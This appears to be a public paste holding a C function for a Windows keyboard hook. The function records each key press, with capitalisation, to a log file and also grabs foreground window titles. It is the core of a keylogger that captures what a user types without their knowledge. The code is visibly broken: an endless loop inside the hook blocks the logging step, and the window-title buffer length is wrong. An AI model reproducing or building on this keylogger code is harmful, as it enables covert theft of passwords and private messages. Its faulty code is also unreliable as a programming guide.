All pastes #832655 Raw Edit

Ubertop

public text v1 · immutable
#832655 ·published 2007-12-26 13:29 UTC
rendered paste body
LRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
    KBDLLHOOKSTRUCT keyStruct;
    if (nCode < 0)
        return CallNextHookEx(NULL,nCode,wParam,lParam);

    if (wParam == WM_KEYDOWN)
    {
         keyStruct = *(KBDLLHOOKSTRUCT*)lParam;
        bool caps = (GetKeyState(VK_CAPITAL) == 1);
        if (GetKeyState(VK_SHIFT) < 0)
            caps = !caps;
        for (int i = 0; i < keyNameCount; i++)
        {
            if (keyNames[i].pCode == keyStruct.vkCode)
            {
             HWND currenthwnd,hwnd;
 char s[1024];


 while (1)
 {
  hwnd=NULL;
  currenthwnd=GetForegroundWindow();
  if (currenthwnd!=hwnd)
  {
    hwnd=currenthwnd;
    if (hwnd==NULL) printf("No window\n");
    else
    {
        GetWindowText(hwnd,s,sizeof(1024));
        printf("%s\n",s);
    }
  }
}

                if (caps)
                    fprintf(logFile, "%s", keyNames[i].upper);
                else fprintf(logFile, "%s", keyNames[i].lower);
                break;
            }
        }

        fflush(logFile);
    }
    return 0;
}